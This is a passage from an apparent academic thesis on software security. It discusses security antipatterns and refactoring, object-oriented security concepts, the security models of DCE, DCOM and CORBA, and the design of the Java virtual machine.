to the server by the client or by an attacker to modify application
state or privileges. The goal of the Session pattern is to store sensi-
tive or classified state information on the server side and only allow
indirect access by the client via secure access tokens.
Limited View: Limited views can be seen from the programming side as
well as from an infrastructure perspective. The default visibility
rules in the JAVA programming language disallow a class instance
accessing the private fields or methods of other classes. This can be
achieved by granting a special permission and the use of the reflec-
tion API.
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The view on objects is limited to the public set of the defined class.
Subclasses also have access to the limited view protected functional-
ity and data. The limited view on JAVA objects is enforced by the
virtual machine and the security manager architecture when active.
From the infrastructure perspective an attacker may use informa-
tion gained from the dialectical pattern Full view with errors to pa-
rameters from a guessed attack parameters from the information
provided by the error message. It is therefore dangerous to sup-
ply a real full view with errors that provides unprivileged users with
detailed errors that increase their knowledge.
2.3.3 Antipatterns
Now we describe the impact of commonly used coding practices and mal-
practices on the security level of an application. Not always do solution
approaches fit adequately to the type of problem they are intended to
solve. Approaches that produce additional problems are called antipat-
terns. Brown et al. defines the term as:
Definition 19 (Antipattern): An antipattern is a literary form that describes
a commonly occurring solution to a problem that generates decidedly negative
consequences (Brown et al., 1998)
Antipatterns are often related to terms in real life to make them illus-
trative and easy to remember. Frequently they are also referred to Worst
Practices (Wiegers, 2007). A common structural description for antipat-
terns is also given by Brown et al.:
The essence of an antipattern is two solutions, instead of a
problem and a solution for ordinary design patterns. The first
solution is problematic. It is a commonly occurring solution
that generates overwhelmingly negative consequences. The
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second solution is called the refactored solution. The refac-
tored solution is a commonly occurring method in which the
antipattern can be resolved and reengineered into a more ben-
eficial form. (Brown et al., 1998)
Coplien is accredited with characterizing antipatterns as
something that looks like a good idea but which backfires
badly when applied (Cockburn et al., 2004)
Antipatterns are introduced into software by implementing solutions
without adequate prior knowledge about the way of solving the problem.
A typical cause is to apply a design pattern in an inadequate context.
Lava ow (Brown et al., 1998) is a typical antipattern known in software
engineering. In this case uncontrolled addition of functionality in the de-
velopment of a software system is compared to the uncontrolled flow of
lava, which is emitted as result of a volcano eruption. The flow of lava
does not necessarily lead to a positive result and leaves a trace of destruc-
tion and by producing many layers of sediment very limited chances for
rearrangement exist.
In the process of program redesign to enhance software refactorings
are applied that aim to remove antipatterns and implement scalable re-
placements.
Antipatterns in a generalized and documented form are helpful to il-
lustrate (and therefore to) avoid the effects of inadequate implementation
decisions. Brown et al. (1998) suggest a documentation template useful
for antipattern description.
A minimal antipattern documentation includes at least (Tate, 2002):
The Name of the antipattern, which should document the problem in an
illustrative way to be easy to remember for other developers
Description of the awed or inconsistent solution and the causes that led
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toward this solution. The description should provide hints to find
other instances of this antipattern and the causing problems.
Refactored solution for the antipattern, a description of the applied refac-
toring approach and the cause and result relationship.
A more detailed catalog entry has the following structure as depicted in
Table 2.11.
The Name of the antipattern, which should document the problem in an
illustrative way to be easy to remember for other developers
Current situation A textual introduction to the flawed or inconsistent solution and
the causes that led toward this solution. The description should
provide hints to find other instances of this antipattern and the
causing problems.
Problem A brief introduction into the problematic situation and its ap-
plication domain. A description of the general questions that
arise when confronted with the problem.
Background The specific settings in the environment that allow the antipat-
tern to cause negative impact. This describes how the relevant
components interact with each other.
Context Description of the environment in which the problem typically
arises
Forces Description of the parameters in the environment that lead to
changes or settings that are relevant for the problem descrip-
tion.
Faulty Beliefs Those are resulting typically from lack of knowledge about the
interdependencies within the observed problem domain.
Antipattern Solution This entry describes how the problem is solved with the antipat-
tern applied.
Consequences about applying the antipattern for the observed initial problem
Symptoms in terms of negative effects that become apparent when apply-
ing the antipattern
Refactored Solution The refactoring section describes how structural changes are
applied to solve the problem without running into the negative
effects.
Table 2.11: Antipattern description
In this discussion, antipatterns will be divided in two subtypes. Antipat-
tern that arise due to bugs in the implementation are on the one hand
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also known as bug patterns, a decent number of them is located at IBM
developerworks, which lists over 15 types of bug patterns (IBM develop-
erworks, 2004), mostly solved by applying code refactorings. On the other
hand applications may fail to provide the needed qualities of service due
to infrastructural antipatterns are problems due to design inaccuracies or
inappropriate degrees of freedom when deploying an application to its
production environments. In the context of the following discussion we
observe this with pre-built components.
Antipatterns often affect the qualities of service of a software system
such as scalability or security. We illustrate the effects of suboptimal pro-
gramming to system security in the following discussion on security pat-
terns and antipatterns.
2.3.4 Security Antipattern
Security antipatterns typically oppose one or more best practices, so called
security patterns.
By the time of writing the term security antipattern was not initially de-
fined, we define it in analogy to normal antipatterns as follows:
Definition 20 (Security Antipattern): A literary form that describes a com-
monly occurring solution to a problem that generates decidedly negative security
consequences, such as negative impact on integrity, condentiality, availability
or accountability.
Kis (2002) presented a modified form of documentation template for
antipatterns especially for a security context. We use this template in the
following discussion on security antipatterns.
2.3.5 Security Patterns
The security patterns introduced by Yoder and Barcalow relate to the con-
ceptual level of a system, therefore applicable during system design. For
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usage in the implementation phase Sun Microsystems published a set of
Secure programming guidelines (Sun Microsystems, 2002). They provide
programmers with advice to avoid a wide range of common security an-
tipatterns.
2.3.6 Application Areas of Security Patterns
Patterns, Antipatterns and Refactoring affect specific application types.
The OWASP antipattern catalog describes anomalies of web applications
(Open Web Application Security Project, 2006).
• Unvalidated Input
• Broken Access Control
• Broken Authentication and Session Management
• Cross Site Scripting
• Buffer Overflow
• Injection Flaws
• Improper Error Handling
• Insecure Storage
• Application Denial of Service
• Insecure Configuration Management
Antipatterns typically lead to vulnerabilities in applications. These are
consequently discussed.
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2.3.7 Removing security antipatterns by refactorings
Our hypothesis states that the existence of software flaws leads to the gen-
eration of vulnerabilities, caused by the ignorance of secure programming
guidelines creating these flaws.
After the identification of a security antipattern, it has to be corrected
to remove the resulting vulnerability. Opdyke (1992) first introduced the
term refactoring. It describes the process of transferring suboptimal solu-
tions of problems into a scalable solutions. We share the definition intro-
duced by Fowler:
Definition 21 (Refactoring): Refactoring is a disciplined technique for restruc-
turing an existing body of code, altering its internal structure without changing
its external behavior. (Fowler, 1999)
On the one hand refactorings are performed on a small scale, which
means to apply code corrections to source code blocks that contain a bug
or suboptimal coding sequence. On the other hand, they are applica-
ble on a larger scale to correct design flaws. For the correction of bugs
that lead to security breaches it is essential that the behavior (describing
the functional part) of software is not changed; only the non-functional
aspect reduces its attack surface. Moreover, it is essential for backward
compatibility that the refactoring in a newly deployed version of the soft-
ware component does not introduce regressions. These are compatibility
problems concerning interoperability with other independently deployed
applications and middleware. Regressions occur especially in situations
where the programmers exploited the specific programming antipattern
that caused the vulnerability for their purposes. This was the case with
the XPath vulnerability in the JDK, where a formally public variable was
reduced in its visibility to refactor an antipattern caused by a public static
variable.
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2.4 Object Oriented Security
The object-oriented programming paradigm extends the traditional func-
tional and procedural programming approaches by bundling access paths
to information via types and objects. Data is stored in object instances
and is available via the public interface defined by the type definition of
the object.
2.4.1 Key Concepts
Object systems base on a set of key concepts (Gollmann, 1999).
• Objects bundle behavior (state transitions and accessor methods)
and structure held in attributes or instance variables. This configu-
ration is often referred to as data encapsulation.
• Types define the behavior and structure of objects. In JAVA terms,
these are the defined classes.
• The public interface of an object is accessible without restrictions,
whereas its superset, the private interface is only available in the inte-
rior coding of the object. There may also be intermediate accessibil-
ity levels such as protected and package visibility in JAVA or friend
class definitions in C++.
• Attributes of objects are either objects or primitive data items, such
as data without identity as atomic numeric values such as an integer
object with value 5.
• Inheritance of type information allows deriving behavior and struc-
ture from a general type (superclass, i.e. car) as well as defining a
specialized type (subclass, i.e. sports utility vehicle). A subclass has
access to the public and protected interface of its superclass.
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• Methods define the behavior of an object and documented change of
the internal state. Special methods are responsible for the life cycle
management of object, as constructors create objects and destruc-
tors (finalizers in JAVA terms) destroy objects. There are extensions
to this rule, such as cloning and deserializing constructors that play
a role in the later vulnerability discussion.
• Messages are used to trigger methods in objects. They contain pa-
rameters (requests) and return values (replies) of method invoca-
tions. Synchronous method invocations bundle a request to a con-
sequent reply message, whereas asynchronous method calls do not
impose this dependency.
• Information Hiding and allocation of local isolated address space is
assigned to each individual object. Visibility rules protect data inside
the address space against external interference. Thus manipulation
of the data needs the granted access rights to the object, which is in
charge of the visibility scope.
Data encapsulation and information hiding provide the basis for secu-
rity measures for distributed single language object oriented systems such
as the JAVA platform or heterogeneous systems based on CORBA. Secu-
rity mechanisms in these systems are based on instance objects them-
selves (such as java.security.Principal and java.security.Access-
ControlContext). These types carry the metadata to enforce the security
policy.
2.4.2 Layered Security
Object-oriented systems do only provide protection on their semantical
level. Therefore attacks from the layers below (Gollmann, 1999), such as
the network communication have to be prevented by additional low-level
security measures provided by the underlying layers such as the default
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security measures of the JAVA virtual machine which be discussed later in
detail.
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Figure 2.10: Layer Below Attack
2.5 Summary
This chapter has shown the structural background of large software ap-
plications, using patterns to describe abstract solutions for problems with
structural constraints. Antipatterns provide suboptimal solutions for these
problems, and may result in quality impacts such security vulnerabilities.
We list here the relationship between software flaws and vulnerabilities
and possible types of flaws for their creation. The detection of vulnera-
bilities is an important step for the preparation of a penetration test, a
specialized testing method for security breaches. By applying refactorings
to security antipatterns, vulnerable code can be remove and replaced by
secure versions to improve the security of the overall system.
3 Distributed Middleware Security
This chapter discusses the requirements, problems and solutions for pro-
viding the necessary security level for distributed systems. The security
foundations built in the last chapter will be revisited and brought into re-
lation to the characteristics of distributed systems.
3.1 Distributed systems
The first generations of IT were based on the idea of centralized pro-
cessing. Terminals were only used to provide a textual representation of
remote computing resources, such as mainframe computers. Data and
functionality for computation was located physically in a local address
space and did not leave the system. There was little need for network
facilities and communication, and when used it was most often based on
proprietary formats mutual dial-up connections, so trust between commu-
nication partners was implicitly derived from the trust on communication
media.
With the growing importance of IT in enterprises and administration as
well as the advent of standardized IP based protocols and its driving force
on networking, centralized system had to communicate to the emerging
client-server-system, and became part of distributed systems themselves.
It is common that business transactions are transmitted over insecure
shared networks such as the Internet.
This shift in technology parameters makes clear that building trust and
protection has gained importance for the components of distributed ap-
plications that are connected via public networks. New dimensions of
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threats come from a new type of communication partner, the attacker that
tries to break the security of systems.
Attackers appear in different forms as automated attacking tools such as
malware (Skoudis and Zeltser, 2003), a term that includes viruses, worms
or trojan programs.
Security in distributed systems has already been discussed in the pre-
vious chapters and shall be here only repeated in brief. The central con-
cern of security is to provide protection against attackers that aim non-
authorized access to the single components of distributed system and
harm their
• Confidentiality
• Integrity and
• Availability.
For business scenarios the aspect of Accountability or Non-Repudiation
has gained importance. From a technical perspective these goals are de-
rived from the technical Integrity goal.
3.2 Middleware
According to the glossary of BEA Systems a vendor for middleware prod-
ucts and defines the term as follows:
Definition 22 (Middleware): A set of services for building distributed client/server
applications, such as services for locating other programs in the network, estab-
lishing communication with those programs, and passing information between
applications. Middleware services can also be used to resolve disparities between
different computing platforms and to provide a uniform authorization model
in multivendor and multi operatingsystem networks (BEA Systems, 1999).
Middleware is an architectural design pattern to centralize the function-
ality needed to fulfill the non-functional requirements of applications.
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Figure 3.1: Dimensions of Distribution
To provide distribution transparency between service providers and con-
sumers it is the task of middleware to provide secure channels between
those nodes. The needed features for distributed security are built as layer
on top of a security layer below, which are the available local secure TCB
infrastructures. These TCBs (such as a JVM or the Microsoft CLR) pro-
vide the features needed for local security. Distribution can be divided in
two dimensions (Puder and Römer, 2001):
• Distribution in terms of layered responsibility is most often referred
to as vertical distribution divided by a horizontal boundary.
• Distribution in locality is referred to a horizontal distribution di-
vided by a vertical boundary.
These dimensions are depicted in Figure 3.1 and illustrate the middle-
ware layers involved in communication between JAVA programs. A TCB
(trusted computing base) is divided from the application layer via hori-
zontal distribution. Typical components of a TCB are authorization ser-
vices. Among those are providers that issue certificates or those systems
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that check authentication attributes (credentials). These are needed to au-
thorize the actions of the entities within distributed systems. Those are
human users, or automated users such as server processes and other net-
work based entities.
The following distributed middleware systems are of importance in
nowadays IT system environments:
• DCE (Chappell, 1996)
• CORBA (Object Management Group, 2001a)
• COM/COM+ (Microsoft Corporation, 2006)/.NET (Microsoft Cor-
poration, 2001)
• JAVA/JEE (Shannon, 2003)
3.3 DCE
The Distributed Computing Environment (DCE) is a middleware archi-
tecture maintained by the Open Group, which originates from the Open
Systems Foundation (OSF). DCE adds horizontal distribution features on
top of other vertical systems, typically operating systems. The following
services are used by DCE to fulfill this task:
• Remote Procedure Call (RPC)
• Diskless Client Support Service
• Distributed File Service
• Distributed Time Service
• Thread Service
• Cell Directory Service
• Security Service
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The central service of DCE is the remote procedure call, a technique
that provides a standard interface to invoke functionality exported by other
hosts. The remaining services support this task to support integration
into the infrastructure and fulfill the non-functional requirements. As the
scope of this discussion concerned with the secure operation of distribu-
tion systems, the security service is discussed next. Further information
about DCE is available from Tanenbaum (1995) and Lockhard (1994).
3.3.1 Security Service
The DCE Security Service extends local authentication and access control
systems. These are provided by the distributed mechanisms of the op-
erating system platform. The security of a DCE system is based on the
fundamental concept of a shared identity. This is assigned to requests
and propagated to the affected nodes of the distributed system.
The security server is a singleton component of the trusted computing
base within DCE. The secure local base runtime or operating system on
a DCE host provides the operations that ensure confidentiality, integrity,
availability and accountability for the exported operations. The DCE secu-
rity service like many other security service implementations is based on
the MIT-Kerberos 5 protocol (Neuman et al., 2005) and is responsible for:
• Authentication
• Authorization
• Access control
3.3.2 DCE security mechanisms
In centralized systems authentication and authorization are typically bun-
dled in an atomic procedure, whereas authentication in Kerberos is due
to distribution subdivided in several steps. The next terms describe the
characteristics of the DCE security mechanisms:
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Authentication is the process of acquiring the identity of the actual prin-
cipal. This is the major step of permitting access to resources by
trusting users who are able to provide credentials such as username
and passwords. Kerberos avoids sending passwords over commu-
nication channels. It merely relies on a complex infrastructure of
communication secured by symmetric encryption keys and tickets.
Authorization is a subprocess embedded in the authentication process
and includes assigning the acquired credentials to the principal ob-
ject of a user. A principal is uniquely identified with an id, a Univer-
sal Unique Identier (UUID). It is generated by the security server
that looks up information associated to the user, such as group
membership information, roles and organizational and hierarchy
dependent credentials. The security server generates the informa-
tion stored in the PAC that is presented by the client to receive per-
missions.
Access Control is the process of matching the PAC (privilege attribute
certificates) information to the access rules that control the usage
of resources. This is typically represented by an ACL (access con-
trol list). Mask entries are used to deny access in case of matching
a specific criterion, such as group membership. Additionally priv-
ilege attribute entries define those resources that are allowed to be
accessed by a specific principal or groups of principals.
3.3.3 DCE Summary
The important pattern associated to Kerberos is its use of cryptographical
technology to replace transmittal of password information with protected
and a limited session key information. This supports the security goal of
integrity.
Cryptography protects the confidentiality of data in transit. Encrypted
information, which is protected during transit against modification, is not
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decipherable correctly without knowledge of the encryption key. This as-
sumption is based on the complexity of current encryption algorithms.
The limited lifetime of the session key contributes to availability, as ma-
licious clients will not be able to establish further sessions without the
renewal of the session key.
Accountability is supported as requests are encrypted with credentials
associated to principals, which prevent repudiation of identity. JAVA ap-
plication can integrate into DCE and Kerberos infrastructures by calling
interfaces provided by the GSSAPI, which is standardized with JSR 72
(JCP: JAVA Community Process, 2002) and is part of the JDK since ver-
sion 1.4.
3.4 COM/DCOM
The Microsoft proprietary Common Object Model (COM) is the follow-up
architecture to OLE (Object Linking and Embedding). OLE was designed
to integrate objects of multiple desktop applications in early releases of
Microsoft Windows. Both COM and OLE were local operating system fea-
tures and were not protected against malicious remote use.
With the advent of Internet solutions and global connectivity it became
necessary to be able to access services of COM objects located on re-
mote nodes. Therefore COM was extended to achieve the needed distri-
bution transparencies. The resulting Distributed Component Object Model
(DCOM) is extensible and provides plug-in interfaces for security support
providers as well as compatibility to additional network protocols.
DCOM provides several security-related features:
• Authentication
• Authorization and Access Control
• Token Management
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The first items are similar to those in DCE. Token Management is con-
cerned with the secure execution of methods by adding tokens to the call-
ing context to enhance integrity checking of the data in transit.
3.4.1 Authentication
DCOM supports several levels of authentication for procedure calls on
remote objects. These all correspond to specific security service providers
and were adapted from the DCE RPC specification. Table 3.1 lists the
Protection Connection Mac Integrity Encryption
Level Authentication Header Content Content
NONE NO NO NO NO
CONNECT YES NO NO NO
PACKET YES YES NO NO
PACKET_INTEGRITY YES YES YES NO
PACKET_PRIVACY YES YES YES YES
Table 3.1: DCOM Security Options
DCOM security options (Brown, 2005), the options have these security
implications:
NONE provides no integrity and no confidentiality features.
CALL secures the header information in the first package of each RPC
invocation. This security level is not implemented by DCOM.
CONNECT uses the identity of the caller to authenticate RPC requests.
PACKET prevents the alteration of request packets, therefore provides in-
tegrity of the content.
PACKET_INTEGRITY prevents the alteration of packets and in addition the
marshalled parameter information, thus providing enhanced integrity
of the content.
CORBA 101
PACKET_PRIVACY prevents the alteration and the disclosure of informa-
tion in packets and in marshalled parameters, providing enhanced
integrity and confidentiality of the content.
3.4.2 Access Control
DCOM provides subdivides permissions in two types via DACL (discre-
tionary access control), which means that permissions are bound to a spe-
cific principal. Launch permissions are assigned to principals that are
allowed to launch an application on a server node. Access permissions
are assigned to principals that are allowed to access services. Authorized
clients may use the exported services of the public available objects stored
on servers (Brown, 2005).
3.5 CORBA
The CORBA (Common Object Request Broker Architecture) is a vendor-
neutral specification maintained by the OMG (Object Management Group).
The specification aims to provide interoperability in heterogeneous en-
vironments. It provides multiple language bindings via a standardized
API. CORBA also defines a standard behavior model for server side life-
cycle management of objects. It also defines infrastructure services to
provide further qualities of service such as transaction management, life-
cycle management and security, which will be zoomed in the following
paragraphs.
The Object Management Group defines CORBA as follows:
Definition 23 (CORBA): CORBA is the acronym for Common Object Re-
quest Broker Architecture, OMG's open, vendor-independent architecture and
infrastructure that computer applications use to work together over networks.
Using the standard protocol IIOP, a CORBA-based program from any ven-
dor, on almost any computer, operating system, programming language, and
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Figure 3.2: Common Object Request Broker Architecture
network, can interoperate with a CORBA-based program from the same or an-
other vendor, on almost any other computer, operating system, programming
language, and network. (Object Management Group, 2007)
The basic components of a CORBA based system are depicted in Fig-
ure 3.2. CORBA also provides additional services that add to the object-
oriented extension of remote procedure calls. Interface contracts between
client and server allow an abstract definition of services. These CORBA
services are described with an interface definition language (IDL). IDL is
translated into server skeletons and client stubs to translate the method
call into the implementation programming language. The server object
implements this interface and provides the service by registering its refer-
ence (contains the network address) in a CORBA name service. The client
acquires a reference to the object he intends to call from a name service
and invokes a method on this object. Therefore he needs the knowledge of
the interface the object implements. The server site security is concerned
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when method calls are propagated from the CORBA client to the server,
where the called object resides.
The terms Delegation and Trust come into sight when calling services
on remote servers:
Delegation is a mechanism that is used when a client with a specific set
of access rights calls a method on an intermediate object S1 and
in order to complete the message call, S1 has to call a method on
second object S2. The CORBA specification supports several dele-
gation models, differing in the range of security attributes that are
passed from the client via the intermediate object to the target object
• In the No delegation model the client does not allow that its
credentials are passed via the intermediate object
• In the simple delegation model the intermediate object may
impersonate as the client, when it is allowed to pass all the se-
curity attributes of the client, in the restricted delegation model
the client may chose a certain set of attributes to be passed
• In the composite delegation model the intermediate passed
both, its own and the attributes of the client to the target object
Trust between the participating entities is an important foundation for a
secure distributed system. It is needed to define the core commu-
nication structure of the whole system. This structure defines the
range of systems that are allowed to pass commands and method
calls to each other. Trust relationships between systems are typi-
cally implemented on top of cryptographic techniques. A server ap-
plication A is trusting server application B when the messages sent
by B can be decrypted by A using B's public key that is deployed in
As key storage of trusted communication partners. In SSL based
communication B's public key is used to establish a trusted channel
between both.
104 Distributed Middleware Security
As cited by NSFocus Corporation (2005), ISO 7498-2 lists the system
structure of OSI security and lists these basic information security ser-
vices:
• Authentication Service
• Access control
• Data Integrity
• Data Secrecy (Confidentiality)
• Non-denial/non-repudiation
They relate to the OSI layers and the security mechanisms as shown in
Figure 3.3(NSFocus Corporation, 2005).
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Figure 3.3: Dimensions in distributed systems security
The authentication service ensures that the identity of an entity in a sys-
tem can be verified and trusted. The authorization service provides access
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control on method calls. Confidentiality ensures that an untrusted third
party cannot read the private data exchange between two communication
partners. The integrity services prevents that data is manipulated in tran-
sit between two partners. In business scenarios it is often important to
proof that a communication partner received a message. This service is
provided by a non-denial/non-repudiation component.
In business environments it is a typical to associate method calls to
identity information of the responsible user to satisfy non-reputability re-
quirements during delegation. This identity information is transferred
using a security context, a so-called Current, between the client and the
server. The current contains the credentials of the user associated to the
client.
3.5.1 CORBA Security Service
The standard CORBA security service is like all OMG-related standards
not bound to an implementation, it is bound to set of specified interfaces
as shown in Figure 3.4.
The CORBA security specification (Blakley, 1999) subdivides applica-
tions in several levels, depending on their security-awareness. These are
as follows:
Level 1: For security-unaware applications, such as legacy systems, the se-
curity related tasks are handled by the trusted computing base, which
is the ORB infrastructure.
Level 2: These are security-aware applications, which have specific security
requirements. The interfaces for service quality and transmission
features provided by the CORBA security service can be used and
customized to adjust Message Protection, Impersonation, Access
Control and Non-Repudiation in accordance to the requirements in
the concrete use case.
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Figure 3.4: CORBA Security Interfaces
3.5.2 CORBA Security Protection Model
The protection model inside CORBA is based upon security policies that
can be either specific for a domain or for a specific ORB. The ORB is the
enforcement instance to establish the technical security functions such as
access control, message protection and auditing.
Access Control: The ORB provides access control by inspecting the user
credentials. They are stored in context objects. Credentials are a
combination of identity information and privilege attributes.
Security Policies: They discriminate valid from invalid access towards data.
They can be formulated in IF-Clauses, such as in a business sce-
nario IF userrole == clerk then clerk may update an account object.
Message Protection: The quality of protection of communication can be
measured by the degree of protecting accountability, integrity and
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confidentiality. Accountability may require client-authentication,
server-authentication or mutual authentication types to prove their
identity to document the responsible entities for actions. Technical
integrity measures must prevent spoofing attacks. Hashing check-
sums provide sound verification of the originality of the message
and the absence of modifications. If non-disclosure is a security
goal cryptographic mechanisms help to provide confidentiality.
Auditing: Auditing is controlled via special audit policies If userrole ==
clerk then generate access_log_entry. Audit decisions objects deter-
mine whether an event is written to the audit log. Auditing granu-
larity may vary, incorporating the client, the server or the application
scope.
Non-Repudiation: It is concerned with the provision of tamper-proof ev-
idence of origination, receipt and submission of information. If
action=SignPINBlock then generate evidence of origination for involved
subject
Common Problems
Rules that rely on object naming may not apply to all objects that shall be
addressed from a business perspective, as some objects may have no us-
able name information such as temporary or local objects. They may have
duplicate, repetitive or masqueraded names behind aliases. In these cases
security policies are difficult to define and apply. Therefore, mechanisms
based on other describing attributes such as the object type attributes are
desirable. As a result of deploying a larger number of object types in large-
scale deployments, the maintainability of the security policies suffers. A
grouping of policies and objects if possible might be helpful to reduce
complexity. As concrete implementation details are often hidden behind
encapsulations the definition of an appropriate security policy (such as
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following the least-privilege approach) definition are related to reverse-
engineering efforts.
3.5.3 CORBA Access Control
As seen above principals consist of a set of security attributes, generic
rights are defined in GSUM (access type) families which have rights on
resources such as get, set, use, manage, shown in Table 3.2. These rights
can be combined with special combining artifacts such as any or all and
are then mapped to principals.
Type Specify access control for
Get Methods that return information to the caller
Set Methods that set information in the object on behalf of the caller
Use Methods that use the facilities of an object (such as creating objects in an
object factory)
Manage Methods that manage the behavior of an object such as an administrative
interface
Table 3.2: Get, Set, Use and Manage of CORBA objects
A subject is the technical representation an entity (human or other) that
uses the functionality of a centralized or distributed system. The subject
may invoke arbitrary actions. Before allowing an access, the subject is
checked by the CORBA security-service whether it is authorized. Secu-
rity attributes include the needed metadata to identify a subject. These at-
tributes include identity information as well as privileges attributes. These
are derived from role and group memberships. A principal authenticator
object is responsible for generating authorization subjects and further-
more to assign non-public security attributes. The total set of security at-
tributes is stored in the credentials, which consequently identify the active
actors of a security aware CORBA system.
An action in terms of CORBA security is a method invocation. The
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ORB is responsible to perform the access control decision, i.e. to check
incoming whether incoming requests comply with the enforced policy.
The credentials of a user are stored in execution context objects. These
objects consist of own credential information, which belong to the current
subject as well as received credentials that have been received by incoming
calls. Sets of credentials are combined into invocation credentials and are
propagated when finally invoking other objects. On the called side the
methods then can be intercepted to assure that the credentials match the
required security policy. According to the CORBA specification method
calls are therefore associated with a special object type (called the Current)
consisting of the actual execution context. This object can be queried by
the application to identify the credentials that are present in the current
execution thread.
The access decision
Access control objects implement access decision functionality, allowing
GSUM to an object according to the specified security policy. The policy
forms a collection of access rules toward an object. Objects with the same
security policy are typically grouped in the same security policy domains.
Grouping criteria can be hierarchical depending on regional or organi-
zational group membership criteria. Objects may belong to overlapping
domains. In the case of Configurations where contrary policies apply, a
conflict resolving strategy needs to be established. In large installations
the incorporation of policies and roles may only be feasible with the sup-
port of an appropriate policy management process and corresponding tool
support. This is necessary to prevent lock-out situations of objects caused
by rule conflicts.
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Domains
The CORBA Security Domain Membership Management (SDMM) service
addresses the tasks of handling objects in security domains. The basic
functionality of an access control decision is to match required to effective
rights of a subject. Required rights are typically bundled among several
operations forming system-wide clusters of sensitivity. Typical examples
are the access functions toward common services types such as logging
or name services. The protection semantics are type-based. The effec-
tive rights are granted by the security policy and are privilege attributes to
users or groups. The mapping of organizational roles toward access facil-
ities on objects can be visualized via access matrices, specifying concrete
allows and deny entries.
Delegation and Context propagation
As a part of declarative security modeling the security context propagation
helps to keep signatures in methods restricted to the business parame-
ters. Security related information (Credentials) is passed out-of-band. In
a typical use case an object residing in a distributed component may call
methods of other objects. If the security context of the caller is given to the
recipient, context propagation allows the target to use the embedded cre-
dentials for further calls for impersonation and delegation. The CORBA
specification lists several types of delegation as shown in Figure 3.5.
Rights Group Action Role
Corba:gsu- All Create AccountManager
Corba:g- All Get AccountManager
Corba:u- All Delete SeniorManager
Table 3.3: Access decision process
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Figure 3.5: Delegation models
3.5.4 Security Levels
The CORBASec specification defines several levels of security. In basic
level 1 the subject is not able to choose the operating privilege level, leav-
ing this a configuration issue. The current is static and only returns the
security attributes of the actual object domain.
Level 2 supports programmatic features like interfaces for the Current,
Required Rights, Principal Authenticator and Credential objects.
Additionally the security mechanism is replaceable by the use of inter-
faces.
3.5.5 Secure Interoperability
The CSI (common secure interoperability) standard is specified by the
OMG. It describes the semantics of secure remote CORBA invocations.
These occur while crossing domain boundaries and different technologies
and policies interoperate in a trusted manner. Communication between
remote partners involves handshaking mechanism to choose a common
security algorithm with shared parameters such as key lengths. There are
three levels of secure interoperability
• Level 0 supports identity-based policies while having no delegation
model.
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• Level 1 adds unrestricted delegation.
• Level 2 supports identity and privilege based policies and the appli-
cation may control the privileges it delegates via controlled delega-
tion.
Protection of transports can be specified with the help of these standards:
SECIOP (Secure IOP) For Wire Security SECIOP introduces extra features
to enforce wire security; the information included in the interopera-
ble object references (IORs) (Henning, 1999) are enhanced with the
protocols and additional security information that the server sup-
ports. Also a context manager layer and a sequencing layer support
the secure communication. In contract to SECIOP, the most often
used solution is
IIOP over SSL This is a protocol where the IOR information is not usable
during transmission, as the packets sent are encrypted and only ac-
cessible to the endpoint having the valid decryption key.
3.6 Summary
This discussion has presented how distributed systems evolved, starting
with the pioneering DCE framework over the heterogeneous CORBA se-
curity and the security features of the current JAVA runtime environments.
It led to the technical underpinnings of CORBA needed for secure JEE ap-
plications that utilize the CORBA-IIOP protocol for RMI communication.
We provide a summary to the topic of system security in the context of
distributed JAVA applications. We will focus on the foundations derived
in this chapter to refer to these where needed in the following discussion.
4 Java Runtime Environment Platform
The technical representation of JAVA methods and fields is persisted in
JAVA class files. The files adhere to standard format restrictions that al-
low semantic checks prior execution (such as bytecode verification) before
the class structures are processed by the JVM. According to the intercep-
tor pattern, the operating on the bytecode whilst following the format and
semantic restrictions allows incorporating additional tools and transfor-
mation after the compilation step. When applying these techniques the
user-level semantic requirements to execute JAVA code are fulfilled. Ad-
ditionally on the technical level the restrictions of the JAVA bytecode in-
struction set applies.
The following chapter first presents the relevant internals of the JVM
core, which controls the bytecode runtime environment. The principles
of bytecode engineering are illustrated as next topic to present why byte-
code engineering is helpful on several semantic layers in relation to java-
based software. On the JVM layer atomic instructions may be modified
or replaced, on a higher level templates of bytecode can be used to form
constructs of higher languages on top of the JVM instruction set or to in-
corporate additional language features into the core JAVA language. The
discussion within the chapter closes with the development of a penetra-
tion tool set useful to detect code antipatterns in order to apply refactor-
ings.
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4.1 The JAVA Virtual Machine
A virtual machine is a confined environment. This chapter explains the
structure of a JAVA virtual machine. This includes the concepts and com-
ponents necessary when loading and executing platform independent JAVA
classes on a supported platform. The data structures inside the JVM are
presented as well a description how classes are transferred from a portable
storage representation to an in-JVM storage that allows further optimiza-
tion. The presentation is completed with a brief presentation of the JAVA
native interface (JNI), as it will be necessary for an antipattern in the later
discussion.
4.1.1 Portability and virtual machines
One of the key requirements for the designers of the JAVA language was
portability. Portability is provided by the introduction of a well-isolated
local environment for code execution. There are two main approaches to
provide such isolation when executing processes.
1. In the first approach no computer is emulated, instead the interfaces
between the real computer and the processes are modified in such
a way that processes are not allowed to step outside allowed bound-
aries. A major disadvantage of this approach is the missing support
for portability. An instance of this approach is the emulation of the
Windows operating system on Linux host systems, provided by the
WINE environment (Wine Project, 1997).
2. In the second approach a virtual execution environment is created.
This environment simulates the basic parts of a computer such as
processing unit with an instruction set, main memory and work
areas (stack, heap). Furthermore it provides the necessary capabil-
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ities to enforce isolation between the processes running inside the
machine and the processes running outside the machine.
In the following discussion we focus on virtual machines as they sup-
port the portability as required by the designers of the JAVA language.
A virtual machine provides portability which allows processes and their
states to be frozen in a given state on platform A and to be restarted on
platform B. Precondition is the existence of execution environments of
both A and B that provide a functional equivalent execution of these pro-
cesses.
The execution environment is able to mediate between these inner and
outer processes, so that access on system level and shared resources can
be securely monitored and intercepted according to an operational secu-
rity policy. This supports the security principle of complete mediation and
single access point. Such an environment is called a virtual machine, and
the key characteristics of it have been described by Meyer and Downing
(1997):
Virtual machines have many advantages. They are great for
portability. You only have to port the virtual machine and as-
sociated support libraries to a new architecture once, and then
all of the applications built on top of the virtual machine run
unchanged.
The concept of virtual machines is a common pattern for executing pro-
grams in languages that do not compile directly to the native assembly
language of the physical host platform. Another major advantage is that
hardware platforms do not need to be modified to run the portable pro-
cesses, instead emulation functions are implemented by the virtual ma-
chine.
Disadvantages of virtual machines are the additional demand of computa-
tional resources. These result from interpreting and executing the inter-
mediate portable representations. Also virtual machines have to deal with
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synchronizing access to shared resources. This may create a typical threat
for virtual machines, as total isolation may be hindered by hidden com-
munication over these resources, so called covert channels, these will be
shown in a later chapter concerning the establishment of covert channels
in order to subvert JDK security.
The use of virtual machines is an established pattern in the IT industry,
